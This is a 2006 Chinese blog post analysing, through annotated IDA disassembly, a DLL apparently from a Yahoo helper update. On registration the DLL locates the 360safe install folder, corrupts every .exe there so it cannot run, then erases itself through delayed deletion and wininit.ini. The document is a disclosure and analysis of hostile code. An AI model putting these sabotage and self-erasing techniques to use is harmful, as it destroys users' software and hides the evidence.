2006年10月10日星期二

Yahoo上网助手自杀式破坏360safe的程序代码分析

看到刚才有朋友投递的
独家!触目惊心:记雅虎对360安全卫士的自杀式攻击程序
http://www.cnbeta.com/modules.php?name=News&file=article&sid=16527

我将文中那个cab文件download了下来 解压得patch34.dll(内部名称是patch33.dll,看来升级得太快,程序员连版本信息也没改就发布了)

使用反汇编工具ida 5.0,发现了一些有意思的东西,现摘录如下:

我自己加了一些注释

; Exported entry 1. DllRegisterServer
;DLL注册时要干下面的事

; HRESULT DllRegisterServer(void)
public DllRegisterServer
DllRegisterServer proc near
push offset s_360safe ; 360safe
;呵呵,这是要干嘛呢?
call sub_10001477--->去调用这个子程序
pop ecx
push hModule ; hModule
call sub_10001291
push 1
pop eax
retn
DllRegisterServer endp

下面来看push了360safe后 sub_10001477这个子程序干嘛去了

; Attributes: bp-based frame
sub_10001477 proc near
FindFileData= _WIN32_FIND_DATAA ptr -350h
pvData= dword ptr -210h
FileName= byte ptr -10Ch
pdwType= dword ptr -8
pcbData= dword ptr -4
arg_0= dword ptr 8
;此处arg_0就是刚才被push的/360safe

push ebp
mov ebp, esp
sub esp, 350h
and byte ptr [ebp+pvData], 0
push esi
push edi
push 40h
pop ecx
xor eax, eax
lea edi, [ebp+pvData+1]
and [ebp+FileName], 0
rep stosd
stosw
stosb
push 40h
xor eax, eax
pop ecx
lea edi, [ebp-10Bh]
rep stosd
stosw
stosb
lea eax, [ebp+pcbData]
mov esi, 103h
push eax ; pcbData
lea eax, [ebp+pvData]
push eax ; pvData
lea eax, [ebp+pdwType]
push eax ; pdwType
push offset pszValue ; "ProgramFilesDir"
;push要取的注册表键值

push offset pszSubKey ; "'SOFTWAREMicrosoftWindowsCurrentVersion"
;push子键值

push 80000002h ; hkey
mov [ebp+pcbData], esi
mov [ebp+pdwType], 1
call ds:SHGetValueA
;获得SOFTWAREMicrosoftWindowsCurrentVersionProgramFilesDir这个注册表键的内容
;其实也就是系统程序文件夹的位置

push [ebp+arg_0]
;将获得的程序文件夹位置+arg_0(360safe)
;得到360safe安装文件夹地址

lea eax, [ebp+pvData]
push eax
push offset s_SS_exe ; "%s%s*.exe"
lea eax, [ebp+FileName]
push esi ; size_t
push eax ; char *
call __snprintf
and [ebp+FindFileData.dwFileAttributes], 0

;查找360安装目录下所有*.exe文件

add esp, 14h
xor eax, eax
lea edi, [ebp+FindFileData.ftCreationTime]
push 4Fh
pop ecx
rep stosd
lea eax, [ebp+FindFileData]
push eax ; lpFindFileData
lea eax, [ebp+FileName]
push eax ; lpFileName
call ds:FindFirstFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jz short loc_10001579

;此处为查找文件的循环判断

loc_10001531:
lea eax, [ebp+FindFileData.cFileName]
push eax
lea eax, [ebp+pvData]
push [ebp+arg_0]
push eax
push offset s_SSS ; "%s%s%s"
lea eax, [ebp+FileName]
push esi ; size_t
push eax ; char *
call __snprintf
lea eax, [ebp+FileName]
push eax ; char *
call sub_100013F7

;如果找到了.exe文件,那么开始对其进行破坏
;sub_10013f7这个子程序的作用是破坏给定的EXE文件
;时间关系不列出代码了
;说一下大概流程
;将push入的文件路径用r+模式打开,然后自己判断pe相关信息,最后写入破坏后的pe结构,导致exe文件无法执行,提示非可执行文件

add esp, 1Ch
lea eax, [ebp+FindFileData]
push eax ; lpFindFileData
push edi ; hFindFile
call ds:FindNextFileA
test eax, eax
jnz short loc_10001531
test edi, edi
jz short loc_10001580

loc_10001579: ; hFindFile
push edi
call ds:FindClose

loc_10001580:
pop edi
pop esi
leave
retn
sub_10001477 endp

完成对360safe的可执行程序破坏后
开始执行
push hModule ; hModule
call sub_10001291

在 sub_10001291中

该dll将利用rundll32.exe将自己加载为一个进程执行
并进行自毁,自毁代码如下:(参数为自己的dll名)

; int __cdecl sub_1000102E(LPCSTR lpExistingFileName,char)
sub_1000102E proc near
lpExistingFileName= dword ptr 4
arg_4= byte ptr 8
cmp [esp+arg_4], 0
jnz short loc_1000104F
push [esp+lpExistingFileName] ; lpFileName
call ds:DeleteFileA

;;首先执行delete file
;;如果失败则跑到loc_10001047
;;成功则返回

cmp eax, 1
jnz short loc_10001047
xor eax, eax
retn
loc_10001047:
call ds:GetLastError
jmp short loc_10001052
loc_1000104F:
push 5
pop eax
loc_10001052:
cmp eax, 5
jz short loc_10001060
cmp eax, 20h
jz short loc_10001060
push 1
jmp short loc_10001079

;;使用win32下强大滴移除文件函数MoveFileExA对自己进行删除
;;不信自杀不了了我

loc_10001060:
call sub_10001000
test eax, eax
jz short loc_1000107B
push 4 ; dwFlags
push 0 ; lpNewFileName
push [esp+8+lpExistingFileName] ; lpExistingFileName
call ds:MoveFileExA
push 2
loc_10001079:
pop eax
retn
loc_1000107B:
push 0
push [esp+4+lpExistingFileName]
call sub_10001093

;;靠,还删不掉
;;我把自己写到wininit.ini里的rename里去,重启后自动删除
;;可一定要毁尸灭迹呀!

pop ecx
pop ecx
xor ecx, ecx
test eax, eax
setnz cl
inc ecx
mov eax, ecx
retn
sub_1000102E endp

综上,这个dll做的事主要就是干掉360SAFE的所有可执行文件,然后自毁

呵呵,真是杀人不留痕呀

MJ0011原创 转载注明哦

原文链接:http://www.cnbeta.com/modules.php?name=News&file=article&sid=16531

没有评论: